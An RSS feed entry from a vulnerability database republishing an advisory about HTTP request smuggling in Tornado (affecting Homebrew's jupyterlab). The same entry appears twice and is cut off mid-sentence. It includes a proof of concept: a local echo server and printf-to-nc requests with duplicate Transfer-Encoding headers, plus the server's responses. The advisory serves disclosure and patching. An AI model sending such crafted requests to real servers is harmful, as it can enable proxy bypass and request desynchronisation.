<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 07:45:46 +0000</lastBuildDate>
    <item>
      <title>BREW-jupyterlab-GHSA-753j-mpmx-qq6g — Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado</title>
      <link>https://vulnerability.circl.lu/vuln/brew-jupyterlab-ghsa-753j-mpmx-qq6g</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: jupyterlab&lt;/p&gt;
&lt;p&gt;### Summary
When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.&lt;/p&gt;
&lt;p&gt;### PoC
0. Install Tornado.
1. Start a simple Tornado server that echoes each received request&amp;#39;s body:
```bash
cat &amp;lt;&amp;lt; EOF &amp;gt; server.py
import asyncio
import tornado&lt;/p&gt;
&lt;p&gt;class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)&lt;/p&gt;
&lt;p&gt;async def main():
    tornado.web.Application([(r&amp;#34;/&amp;#34;, MainHandler)]).listen(8000)
    await asyncio.Event().wait()&lt;/p&gt;
&lt;p&gt;asyncio.run(main())
EOF
python3 server.py &amp;amp;
```
2. Send a valid chunked request:
```bash
printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n&amp;#39; | nc localhost 8000
```
3. Observe that the response is as expected:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1&lt;/p&gt;
&lt;p&gt;Z
```
4. Send a request with two `Transfer-Encoding: chunked` headers:
```
printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n&amp;#39; | nc localhost 8000
```
5. Observe the strange response:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0&lt;/p&gt;
&lt;p&gt;HTTP/1.1 400 Bad Request&lt;/p&gt;
&lt;p&gt;```
This is because Tornado bel…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: jupyterlab&lt;/p&gt;
&lt;p&gt;### Summary
When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.&lt;/p&gt;
&lt;p&gt;### PoC
0. Install Tornado.
1. Start a simple Tornado server that echoes each received request&amp;#39;s body:
```bash
cat &amp;lt;&amp;lt; EOF &amp;gt; server.py
import asyncio
import tornado&lt;/p&gt;
&lt;p&gt;class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)&lt;/p&gt;
&lt;p&gt;async def main():
    tornado.web.Application([(r&amp;#34;/&amp;#34;, MainHandler)]).listen(8000)
    await asyncio.Event().wait()&lt;/p&gt;
&lt;p&gt;asyncio.run(main())
EOF
python3 server.py &amp;amp;
```
2. Send a valid chunked request:
```bash
printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n&amp;#39; | nc localhost 8000
```
3. Observe that the response is as expected:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1&lt;/p&gt;
&lt;p&gt;Z
```
4. Send a request with two `Transfer-Encoding: chunked` headers:
```
printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n&amp;#39; | nc localhost 8000
```
5. Observe the strange response:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0&lt;/p&gt;
&lt;p&gt;HTTP/1.1 400 Bad Request&lt;/p&gt;
&lt;p&gt;```
This is because Tornado bel…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/brew-jupyterlab-ghsa-753j-mpmx-qq6g</guid>
    </item>
  </channel>
</rss>
